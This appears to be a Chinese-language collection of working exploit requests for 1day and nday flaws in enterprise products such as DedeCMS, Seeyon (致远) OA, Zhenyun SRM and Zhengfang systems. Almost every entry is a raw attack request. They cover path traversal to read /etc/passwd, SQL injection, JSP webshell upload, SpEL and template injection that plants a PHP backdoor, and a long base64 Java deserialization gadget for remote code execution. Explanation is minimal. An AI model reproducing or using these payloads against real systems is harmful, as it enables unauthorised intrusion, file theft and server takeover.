- 涉及版本：未知
- 利用路径：/app/updatePwd.htm
- 漏洞详情：

```
POST /app/updatePwd.htm HTTP/1.1
Host:
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Content-Length: 87
Content-Type: application/x-www-form-urlencoded
mobile=18888888888&newPassword=12312dsa12&equipmentName=xxxxxx&version=4.0.0&toke
n=dingtalk_token
```

真内控

真内控国产化开发平台 preview 任意文件读取漏洞

- 漏洞类型：1day - 任意文件读取
- 涉及版本：未知
- 利用路径：/print/billPdf/preview
- 漏洞详情：

```
GET /print/billPdf/preview?
urlPath=../../../../../../../../../../../../../../etc/passwd
HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0)
Gecko/20100101 Firefox/127.0
```

甄云

甄云 SRM 云平台 SpEL 表达式注入漏洞

- 漏洞类型：1day - SQL注入
- 涉及版本：未知
- 利用路径：/oauth/public/SpEL表达式/ab?username=bHM=
- 漏洞详情：

```
/oauth/public/SpEL表达式/ab?username=bHM=
```

甄云-SRM云平台 -JNDI注入

- 漏洞类型：1day - RCE
- 涉及版本：未知
- 利用路径：/oauth/public/SpEL表达式/ab?username=bHM=
- 漏洞详情：

```
/oauth/public/SpEL表达式/ab?username=bHM=
```

甄云-SRM云平台存在RCE

- 漏洞类型：1day - RCE
- 涉及版本：未知
- 利用路径：/
- 漏洞详情：

```
/?
aa=__${T(groovy.lang.GroovyClassLoader).newInstance().defineClass('CALC',T(com.su
n.org.apache.xml.internal.security.utils.Base64).decode('yv'+'66vgAAADQAgwoAHABGC
gBHAEgHAEkKAAMASgoAAwBLCwBMAE0LAE4ATwoAUABRCgBSAFMHAFQKAAoARgcAVQoADABWCgAKAFcKAB
wAWAoAFABZBwBaBwBbCgASAEYHAFwKABQAXQoAEQBeCgASAFgIAF8KABQAYAoAFABhBwBiBwBjAQAGPGl
uaXQ%2bAQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAW
IBAAJbQgEABXNoZWxsAQAZTGdyb292eS9sYW5nL0dyb292eVNoZWxsOwEAAW8BABJMamF2YS9sYW5nL09
iamVjdDsBAA
```

正方

正方移动信息服务管理系统oaMobile_fjUploadByType存在文件上传漏洞

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/zftal-mobile/oaMobile/oaMobile_fjUploadByType.html
- 漏洞详情：

```
POST /zftal-mobile/oaMobile/oaMobile_fjUploadByType.html HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/99.0.1707.77 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Accept: */*
Content-Length: 457
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="yhm"
123
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="zid"
456
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="sign"
789
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="409.jsp"
Content-Type: text/plain
111
------WebKitFormBoundary7MA4YWxkTrZu0gW--
```

织梦

DedeCMSV5.7.114后台article_template_rand.php存在远程代码执行漏洞

- 漏洞类型：nday - RCE
- 涉及版本：V5.7.114
- 利用路径：/dede/article_template_rand.php
- 漏洞详情：

```
POST /dede/article_template_rand.php HTTP/1.1
Host: 127.0.0.11
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101
Firefox/127.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q
=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 1065
Origin: http://127.0.0.11
Connection: close
Referer: http://127.0.0.11/dede/article_template_rand.php
```

```
Cookie: menuitems=1_1%2C2_1%2C3_1; PHPSESSID=89s6bbv2d1unokav5grt4bk2g4; _csrf_name_236f0c58=8f0d4c50bfce77f693ce4b8d93af8be7; _csrf_name_236f0c581BH21ANI1AGD297L1FF21LN02BGE1DNG=23bfa72eb66439a6; DedeUserID=1; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=10acd9938ef3615d; DedeLoginTime=1720185221; DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=d2b9bcefe628ee47; ENV_GOBACK_URL=%2Fdede%2Fsys_admin_user.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: iframe
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=4

dopost=save&token=7fa44bfa91d7f797b4c983c76f7c9f9e&templates=%3C%3Fphp%0D%0A%0D%0A%2F%2F%E8%BF%99%E4%B8%AA%E5%80%BC%E4%B8%BA+0+%E8%A1%A8%E7%A4%BA%E5%85%B3%E9%97%AD%E6%AD%A4%E8%AE%BE%E7%BD%AE%EF%BC%8C+%E4%B8%BA+1+%E8%A1%A8%E7%A4%BA%E5%BC%80%E5%90%AF%0D%0A%24cfg_tamplate_rand+%3D+0%3B%0D%0A%0D%0A%2F%2F%E6%A8%A1%E6%9D%BF%E6%95%B0%E7%BB%84%EF%BC%8C%E5%A6%82%E6%9E%9C%E9%9C%80%E8%A6%81%E5%A2%9E%E5%8A%A0%EF%BC%8C%E6%8C%89%E8%BF%99%E4%B8%AA%E6%A0%BC%E5%BC%8F%E5%A2%9E%E5%8A%A0%E6%88%96%E4%BF%AE%E6%94%B9%E5%8D%B3%E5%8F%AF%28%E5%BF%85%E9%A1%BB%E7%A1%AE%E4%BF%9D%E8%BF%99%E4%BA%9B%E6%A8%A1%E6%9D%BF%E6%98%AF%E5%AD%98%E5%9C%A8%E7%9A%84%29%EF%BC%8C%E5%B9%B6%E4%B8%94%E6%95%B0%E9%87%8F%E5%BF%85%E9%A1%BB%E4%B8%BA2%E4%B8%AA%E6%88%96%E4%BB%A5%E4%B8%8A%E3%80%82%0D%0A%24cfg_tamplate_arr%5B%5D+%3D+%27article_article.htm%27%3B%0D%0A%24cfg_tamplate_arr%5B%5D+%3D+%27article_article1.htm%27%3B%0D%0A%24cfg_tamplate_arr%5B%5D+%3D+%27article_article2.htm%27%3B%0D%0A%24a+%3D+%27_POST%27%3B%0D%0A%24%24a%5B1%5D%28%24%24a%5B0%5D%29%3B%0D%0A%3F%3E%0D%0A&imageField1.x=6&imageField1.y=9
```

DedeCMSV5.7.114后台sys_verizes.php存在远程代码执行漏洞

- 漏洞类型：nday - RCE
- 涉及版本：V5.7.114
- 利用路径：/dede/sys_verifies.php
- 漏洞详情：

```
GET /dede/sys_verifies.php?action=getfiles&refiles[]=123${${print%20`whoami`}} HTTP/1.1
Host: 127.0.0.11
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
```

```
Cookie: menuitems=1_1%2C2_1%2C3_1%2C4_1%2C5_1%2C6_1;
PHPSESSID=89s6bbv2d1unokav5grt4bk2g4; DedeUserID=1;
DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=10acd9938ef3615d;
DedeLoginTime=1720327720;
DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=c5e6c12f26661f56;
_csrf_name_236f0c58=6d608f0ee0d0e0b59410565dfeec6b2b;
_csrf_name_236f0c581BH21ANI1AGD297L1FF21LN02BGE1DNG=bc5881b7b91f1bd9
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=1
```

DeDecms接口sys_verifies.php存在任意文件读取漏洞

- 漏洞类型：nday - 任意文件读取
- 涉及版本：未知
- 利用路径：/dede/sys_verifies.php
- 漏洞详情：

```
/dede/sys_verifies.php?action=view&filename=../../../../../etc/passwd
```

至码云

微信公众平台-无限回调系统 -SQL注入

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/user/ajax.php?act=siteadd
- 漏洞详情：

```
POST /user/ajax.php?act=siteadd HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/101.0.4951.54 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image
/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

siteUrl=';select sleep(5)#'
```

致远

致远在野 nday constDef接口存在代码执行漏洞

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/seeyon/constDefdo
- 漏洞详情：

```
GET /seeyon/constDefdo?
method=newConstDef&constKey=asdasd&constDefine=$demo%20%22;new%20File(%22./webapp
s/ROOT/1111.jsp%22).write(new%20String(Base64.getDecoder0.decode%22PCUKaWYocmVxdW
VzdC5nZXRQYXJhbWV0ZXIolmYiKSE9bnVsbCkobmV3lGphdmEuaW8uRmlsZU91dHB1dFN0cmVhbShhcHB
saWNhdGlvbi5nZXRSZWFSUGF0aCgiXFwiKStyZXF1ZXN0LmdldFBhcmFtZXRlcigiZilpKSkud3JpdGUo
cmVxdWVzdC5nZXRQYXJhbWV0ZXIolnQiKs5n
ZXRCeXRIcygpKTSKJT4=%22));%22&constDescription=123&constType=4 HTTP/1.1
Host: {{Hostname}}
```

致远 OA fileUpload.do 前台文件上传绕过漏洞

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/seeyon/autoinstall.do/../../seeyon/fileUpload.do?
  /seeyon/autoinstall.do/../../seeyon/privilege/menu.do
- 漏洞详情：

```
POST /seeyon/autoinstall.do/../../seeyon/fileUpload.do?
method=processUploadHTTP/1.1
Host:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Type: multipart/form-data; boundary=00content0boundary00
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN)
AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3) Arora/0.3 (Change:
287c9dfb30)
Content-Length: 754
--00content0boundary00
Content-Disposition: form-data; name="type"
--00content0boundary00
Content-Disposition: form-data; name="extensions" png
--00content0boundary00
Content-Disposition: form-data; name="applicationCategory"
--00content0boundary00
Content-Disposition: form-data; name="destDirectory"
--00content0boundary00
Content-Disposition: form-data; name="destFilename"
--00content0boundary00
Content-Disposition: form-data; name="maxSize"
--00content0boundary00
Content-Disposition: form-data; name="isEncrypt"
false
--00content0boundary00
```

```
Content-Disposition: form-data; name="file1"; filename="1.png" Content-Type:
Content-Type: application/pdf
<% out.println("hello");%>
--00content0boundary00




POST /seeyon/autoinstall.do/../../seeyon/privilege/menu.do HTTP/1.1
Host:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Acoo Browser;
SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)
Content-Length: 64
method=uploadMenuIcon&fileid=ID 值&filename=qwe.jsp
```

致远AnalyticsCloud 分析云存在任意文件读取漏洞

- 漏洞类型：nday - 任意文件读取
- 涉及版本：未知
- 利用路径：/
- 漏洞详情：

```
GET /.%252e/.%252e/c:/windows/win.ini HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
```

致远互联-M1移动协同办公管理软件-RCE

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/esn_mobile_pns/service/userTokenService
- 漏洞详情：

```
POST /esn_mobile_pns/service/userTokenService HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Content-Type: application/x-www-form-urlencoded
cmd: whoami
```

```
{{base64dec(rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAA
XNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3Smz
nBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQ
AA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMA
AUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc
3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZX
Iwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9
ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zv
cm1lcju9Virx2DQYmQIAAHhwAAAABHNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY
3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyACBqYX
ZheC5zY3JpcHQuU2NyaXB0RW5naW5lTWFuYWdlcgAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21
tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFy
Z3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbA
AtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzl
ifEHMpbAIAAHhwAAAAAHQAC25ld0luc3RhbmNldXIAEltMamF2YS5sYW5nLkNsYXNzO6sW167LzVqZAgA
AeHAAAAAAc3EAfgATdXEAfgAYAAAAAXQAAmpzdAAPZ2V0RW5naW5lQnlOYW1ldXEAfgAbAAAAAXZyABBq
YXZhLmxhbmcuU3RyaW5noPCkOHo7s0ICAAB4cHNxAH4AE3VxAH4AGAAAAAF0LWx0cnkgewogIGxvYWQoI
m5hc2hvcm46bW96aWxsYV9jb21wYXQuanMiKTsKfSBjYXRjaCAoZSkge30KZnVuY3Rpb24gZ2V0VW5zYW
ZlKCl7CiAgdmFyIHRoZVVuc2FmZU1ldGhvZCA9IGphdmEubGFuZy5DbGFzcy5mb3JOYW1lKCJzdW4ubWl
zYy5VbnNhZmUiKS5nZXREZWNsYXJlZEZpZWxkKCd0aGVVbnNhZmUnKTsKICB0aGVVbnNhZmVNZXRob2Qu
c2V0QWNjZXNzaWJsZSh0cnVlKTsgCiAgcmV0dXJuIHRoZVVuc2FmZU1ldGhvZC5nZXQobnVsbCk7Cn0KZ
nVuY3Rpb24gcmVtb3ZlQ2xhc3NDYWNoZShjbGF6eil7CiAgdmFyIHVuc2FmZSA9IGdldFVuc2FmZSgpOw
ogIHZhciBjbGF6ekFub255bW91c0NsYXNzID0gdW5zYWZlLmRlZmluZUFub255bW91c0NsYXNzKGNsYXp
6LGphdmEubGFuZy5DbGFzcy5mb3JOYW1lKCJqYXZhLmxhbmcuQ2xhc3MiKS5nZXRSZXNvdXJjZUFzU3Ry
ZWFtKCJDbGFzcy5jbGFzcyIpLnJlYWRBbGxCeXRlcygpLG51bGwpOwogIHZhciByZWZsZWN0aW9uRGF0Y
UZpZWxkID0gY2xhenpBbm9ueW1vdXNDbGFzcy5nZXREZWNsYXJlZEZpZWxkKCJyZWZsZWN0aW9uRGF0YS
IpOwogIHVuc2FmZS5wdXRPYmplY3QoY2xhenosdW5zYWZlLm9iamVjdEZpZWxkT2Zmc2V0KHJlZmxlY3R
pb25EYXRhRmllbGQpLG51bGwpOwp9CmZ1bmN0aW9uIGJ5cGFzc1JlZmxlY3Rpb25GaWx0ZXIoKSB7CiAg
dmFyIHJlZmxlY3Rpb25DbGFzczsKICB0cnkgewogICAgcmVmbGVjdGlvbkNsYXNzID0gamF2YS5sYW5nL
kNsYXNzLmZvck5hbWUoImpkay5pbnRlcm5hbC5yZWZsZWN0LlJlZmxlY3Rpb24iKTsKICB9IGNhdGNoIC
hlcnJvcikgewogICAgcmVmbGVjdGlvbkNsYXNzID0gamF2YS5sYW5nLkNsYXNzLmZvck5hbWUoInN1bi5
yZWZsZWN0LlJlZmxlY3Rpb24iKTsKICB9CiAgdmFyIHVuc2FmZSA9IGdldFVuc2FmZSgpOwogIHZhciBj
bGFzc0J1ZmZlciA9IHJlZmxlY3Rpb25DbGFzcy5nZXRSZXNvdXJjZUFzU3RyZWFtKCJSZWZsZWN0aW9uL
mNsYXNzIikucmVhZEFsbEJ5dGVzKCk7CiAgdmFyIHJlZmxlY3Rpb25Bbm9ueW1vdXNDbGFzcyA9IHVuc2
FmZS5kZWZpbmVBbm9ueW1vdXNDbGFzcyhyZWZsZWN0aW9uQ2xhc3MsIGNsYXNzQnVmZmVyLCBudWxsKTs
KICB2YXIgZmllbGRGaWx0ZXJNYXBGaWVsZCA9IHJlZmxlY3Rpb25Bbm9ueW1vdXNDbGFzcy5nZXREZWNs
YXJlZEZpZWxkKCJmaWVsZEZpbHRlck1hcCIpOwogIHZhciBtZXRob2RGaWx0ZXJNYXBGaWVsZCA9IHJlZ
mxlY3Rpb25Bbm9ueW1vdXNDbGFzcy5nZXREZWNsYXJlZEZpZWxkKCJtZXRob2RGaWx0ZXJNYXAiKTsKIC
BpZiAoZmllbGRGaWx0ZXJNYXBGaWVsZC5nZXRUeXBlKCkuaXNBc3NpZ25hYmxlRnJvbShqYXZhLmxhbmc
uQ2xhc3MuZm9yTmFtZSgiamF2YS51dGlsLkhhc2hNYXAiKSkpIHsKICAgIHVuc2FmZS5wdXRPYmplY3Qo
cmVmbGVjdGlvbkNsYXNzLCB1bnNhZmUuc3RhdGljRmllbGRPZmZzZXQoZmllbGRGaWx0ZXJNYXBGaWVsZ
CksIGphdmEubGFuZy5DbGFzcy5mb3JOYW1lKCJqYXZhLnV0aWwuSGFzaE1hcCIpLmdldENvbnN0cnVjdG
9yKCkubmV3SW5zdGFuY2UoKSk7CiAgfQogIGlmIChtZXRob2RGaWx0ZXJNYXBGaWVsZC5nZXRUeXBlKCk
uaXNBc3NpZ25hYmxlRnJvbShqYXZhLmxhbmcuQ2xhc3MuZm9yTmFtZSgiamF2YS51dGlsLkhhc2hNYXAi
KSkpIHsKICAgIHVuc2FmZS5wdXRPYmplY3QocmVmbGVjdGlvbkNsYXNzLCB1bnNhZmUuc3RhdGljRmllb
GRPZmZzZXQobWV0aG9kRmlsdGVyTWFwRmllbGQpLCBqYXZhLmxhbmcuQ2xhc3MuZm9yTmFtZSgiamF2YS
51dGlsLkhhc2hNYXAiKS5nZXRDb25zdHJ1Y3RvcigpLm5ld0luc3RhbmNlKCkpOwogIH0KICByZW1vdmV
DbGFzc0NhY2hlKGphdmEubGFuZy5DbGFzcy5mb3JOYW1lKCJqYXZhLmxhbmcuQ2xhc3MiKSk7Cn0KZnVu
Y3Rpb24gc2V0QWNjZXNzaWJsZShhY2Nlc3NpYmxlT2JqZWN0KXsKICAgIHZhciB1bnNhZmUgPSBnZXRVb
nNhZmUoKTsKICAgIHZhciBvdmVycmlkZUZpZWxkID0gamF2YS5sYW5nLkNsYXNzLmZvck5hbWUoImphdm
EubGFuZy5yZWZsZWN0LkFjY2Vzc2libGVPYmplY3QiKS5nZXREZWNsYXJlZEZpZWxkKCJvdmVycmlkZSI
pOwogICAgdmFyIG9mZnNldCA9IHVuc2FmZS5vYmplY3RGaWVsZE9mZnNldChvdmVycmlkZUZpZWxkKTsK
ICAgIHVuc2FmZS5wdXRCb29sZWFuKGFjY2Vzc2libGVPYmplY3QsIG9mZnNldCwgdHJ1ZSk7Cn0KZnVuY
3Rpb24gZGVmaW5lQ2xhc3MoYnl0ZXMpewogIHZhciBjbHogPSBudWxsOwogIHZhciB2ZXJzaW9uID0gam
F2YS5sYW5nLlN5c3RlbS5nZXRQcm9wZXJ0eSgiamF2YS52ZXJzaW9uIik7CiAgdmFyIHVuc2FmZSA9IGd
ldFVuc2FmZSgpCiAgdmFyIGNsYXNzTG9hZGVyID0gbmV3IGphdmEubmV0LlVSTENsYXNzTG9hZGVyKGph
```

dmEubGFuZy5yZWZsZWN0LkFycmF5Lm5ld0luc3RhbmNlKGphdmEubGFuZy5DbGFzcy5mb3JOYW1lKCJqY
XZhLm5ldC5VUkwiKSwgMCkpOwogIHRyeXsKICAgIGlmICh2ZXJzaW9uLnNwbGl0KCIuIilbMF0gPj0gMT
EpIHsKICAgICAgYnlwYXNzUmVmbGVjdGlvbkZpbHRlcigpOwogICAgZGVmaW5lQ2xhc3NNZXRob2QgPSB
qYXZhLmxhbmcuQ2xhc3MuZm9yTmFtZSgiamF2YS5sYW5nLkNsYXNzTG9hZGVyIikuZ2V0RGVjbGFyZWRN
ZXRob2QoImRlZmluZUNsYXNzIiwgamF2YS5sYW5nLkNsYXNzLmZvck5hbWUoIltCIiksamF2YS5sYW5nL
kludGVnZXIuVFlQRSwgamF2YS5sYW5nLkludGVnZXIuVFlQRSk7CiAgICBzZXRBY2Nlc3NpYmxlKGRlZm
luZUNsYXNzTWV0aG9kKTsKICAgIC8vIOe7lei/hyBzZXRBY2Nlc3NpYmxlIAogICAgY2x6ID0gZGVmaW5
lQ2xhc3NNZXRob2QuaW52b2tlKGNsYXNzTG9hZGVyLCBieXRlcywgMCwgYnl0ZXMubGVuZ3RoKTsKICAg
IH1lbHNlewogICAgICB2YXIgcHJvdGVjdGlvbkRvbWFpbiA9IG5ldyBqYXZhLnNlY3VyaXR5LlByb3RlY
3Rpb25Eb21haW4obmV3IGphdmEuc2VjdXJpdHkuQ29kZVNvdXJjZShudWxsLCBqYXZhLmxhbmcucmVmbG
VjdC5BcnJheS5uZXdJbnN0YW5jZShqYXZhLmxhbmcuQ2xhc3MuZm9yTmFtZSgiamF2YS5zZWN1cml0eS5
jZXJ0LkNlcnRpZmljYXRlIiksIDApKSwgbnVsbCwgY2xhc3NMb2FkZXIsIFtdKTsKICAgICAgY2x6ID0g
dW5zYWZlLmRlZmluZUNsYXNzKG51bGwsIGJ5dGVzLCAwLCBieXRlcy5sZW5ndGgsIGNsYXNzTG9hZGVyL
CBwcm90ZWN0aW9uRG9tYWluKTsKICAgIH0KICB9Y2F0Y2goZXJyb3IpewogICAgZXJyb3IucHJpbnRTdG
Fja1RyYWNlKCk7CiAgfWZpbmFsbHl7CiAgICByZXR1cm4gY2x6OwogIH0KfQpmdW5jdGlvbiBiYXNlNjR
EZWNvZGVUb0J5dGUoc3RyKSB7CiAgdmFyIGJ0OwogIHRyeSB7CiAgICBidCA9IGphdmEubGFuZy5DbGFz
cy5mb3JOYW1lKCJzdW4ubWlzYy5CQVNFNjREZWNvZGVyIikubmV3SW5zdGFuY2UoKS5kZWNvZGVCdWZmZ
XIoc3RyKTsKICB9IGNhdGNoIChlKSB7CiAgICBidCA9IGphdmEubGFuZy5DbGFzcy5mb3JOYW1lKCJqYX
ZhLnV0aWwuQmFzZTY0IikubmV3SW5zdGFuY2UoKS5nZXREZWNvZGVyKCkuZGVjb2RlKHN0cik7CiAgfQo
gIHJldHVybiBidDsKfQp2YXIgY29kZT0ieXY2NnZnQUFBQzhCWndvQUlBQ1NCd0NUQndDVUNnQUNBSlVL
QUFNQWxnb0FJZ0NYQ2dDWUFKa0tBSmdBbWdvQUlnQ2JDQUNjQ2dBZ0FKMEtBSjRBbndvQW5nQ2dCd0NoQ
2dDWUFLSUlBSXdLQUNrQW93Z0FwQWdBcFFjQXBnZ0Fwd2dBcUFjQXFRb0FJQUNxQ0FDckNBQ3NCd0N0Q3
dBYkFLNExBQnNBcndnQXNBZ0FzUWNBc2dvQUlBQ3pCd0MwQ2dDMUFMWUlBTGNKQUg0QXVBZ0F1UW9BZmd
DNkNBQzdCd0M4Q2dCK0FMMEtBQ2tBdmdnQXZ3a0FMZ0RBQndEQkNnQXVBTUlJQU1NS0FINEF4QW9BSUFF
RkNBREdDUUIrQU1jSUFNZ0tBQ0FBeVFnQXlnY0F5d2dBekFnQXpRb0FtQURPQ2dEUEFNUUlBTkFLQUNrQ
TBRZ0EwZ29BS1FEVENBRFVDZ0FwQU5VS0FDa0ExZ2dBMXdvQUtRRFlDQURaQ2dBdUFOb0tBSDRBMndnQT
NBb0FmZ0RkQ0FEZUNnRGZBT0FLQUNrQTRRZ0E0Z2dBNHdnQTVBY0E1UW9BVVFDWENnQlJBT1lJQU9jS0F
GRUE2QWdBNlFnQTZnZ0E2d2dBN0FvQTdRRHVDZ0R0QU84SEFQQUtBUEVBOGdvQVhBRHpDQUQwQ2dCY0FQ
VUtBRndBOWdvQVhBRDNDZ0R4QVBnS0FQRUErUW9BT0FEb0NBRDZDZ0FwQUpZSUFQc0tBTzBBL0FjQS9Rb
0FMZ0QrQ2dCcUFQOEtBR29BOGdvQThRRUFDZ0JxQVFBS0FHb0JBUW9CQWdFRENnRUNBUVFLQVFVQkJnb0
JCUUVIQlFBQUFBQUFBQUF5Q2dDWUFRZ0tBUEVCQ1FvQWFnRUtDQUVMQ2dBNEFKVUlBUXdJQVEwSEFRNEJ
BQlpqYkdGemN5UnFZWFpoSkd4aGJtY2tVM1J5YVc1bkFRQVJUR3BoZG1FdmJHRnVaeTlEYkdGemN6c0JB
QWxUZVc1MGFHVjBhV01CQUFkaGNuSmhlU1JDQVFBR1BHbHVhWFErQVFBREtDbFdBUUFFUTI5a1pRRUFEM
HhwYm1WT2RXMWlaWEpVWVdKc1pRRUFDa1Y0WTJWd2RHbHZibk1CQUFsc2IyRmtRMnhoYzNNQkFDVW9UR3
BoZG1FdmJHRnVaeTlUZEhKcGJtYzdLVXhhWVhaaEwyeGhibWN2UTJ4aGMzTTdBUUFIWlhobFkzVjBaUUV
BSmloTWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzcFRHcGhkbUV2YkdGdVp5OVRkSEpwYm1jN0FRQUVaWGhs
WXdFQUIzSmxkbVZ5YzJVQkFEa29UR3BoZG1FdmJHRnVaeTlUZEhKcGJtYzdUR3BoZG1FdmJHRnVaeTlKY
m5SbFoyVnlPeWxNYW1GMllTOXNZVzVuTDFOMGNtbHVaenNCQUFaamJHRnpjeVFCQUFwVGIzVnlZMlZHYV
d4bEFRQUhRVFF1YW1GMllRd0JEd0NKQVFBZ2FtRjJZUzlzWVc1bkwwTnNZWE56VG05MFJtOTFibVJGZUd
ObGNIUnBiMjRCQUI1cVlYWmhMMnhoYm1jdlRtOURiR0Z6YzBSbFprWnZkVzVrUlhKeWIzSU1BUkFCRVF3
QWd3RVNEQUNEQUlRSEFSTU1BUlFCRlF3QkZnRVhEQUVZQVJrQkFBZDBhSEpsWVdSekRBRWFBUnNIQVJ3T
UFSMEJIZ3dCSHdFZ0FRQVRXMHhxWVhaaEwyeGhibWN2VkdoeVpXRmtPd3dCSVFFUkRBRWlBU01CQUFSb2
RIUndBUUFHZEdGeVoyVjBBUUFTYW1GMllTOXNZVzVuTDFKMWJtNWhZbXhsQVFBR2RHaHBjeVF3QVFBSGF
HRnVaR3hsY2dFQUhtcGhkbUV2YkdGdVp5OU9iMU4xWTJoR2FXVnNaRVY0WTJWd2RHbHZiZ3dCSkFFWkFR
QUdaMnh2WW1Gc0FRQUtjSEp2WTJWemMyOXljd0VBRG1waGRtRXZkWFJwYkM5TWFYTjBEQUVsQVNZTUFSS0
EJKd0VBQTNKbGNRRUFDMmRsZEZKbGMzQnZibk5sQVFBUGFtRjJZUzlzWVc1bkwwTnNZWE56REFFb0FTa0
JBQkJxWVhaaEwyeGhibWN2VDJKcVpXTjBCd0VxREFFckFTd0JBQWxuWlhSSVpXRmtaWElNQUg4QWdBRUF
FR3BoZG1FdWJHRnVaeTVUZEhKcGJtY01BSThBaVFFQUEyTnRaQUVBRUdwaGRtRXZiR0Z1Wnk5VGRISnBi
bWNNQUlvQWl3d0JMUUV1QVFBSmMyVjBVM1JoZEhWekRBRXZBSUFCQUJGcVlYWmhMMnhoYm1jdlNXNTBaV
2RsY2d3QWd3RXdBUUFrYjNKbkxtRndZV05vWlM1MGIyMWpZWFF1ZFhScGJDNWlkV1l1UW5sMFpYTm9kVz
VyREFDSUFJa01BVEVCTWdFQUNITmxkRUo1ZEdWekRBQ0NBSUFCQUFKYlFnd0JNd0VwQVFBSFpHOVhjbWw
wWlFFQUUycGhkbUV2YkdGdVp5OUZlR05sY0hScGIyNEJBQk5xWVhaaExtNXBieTVDZVhSbFFuVm1abVZ5
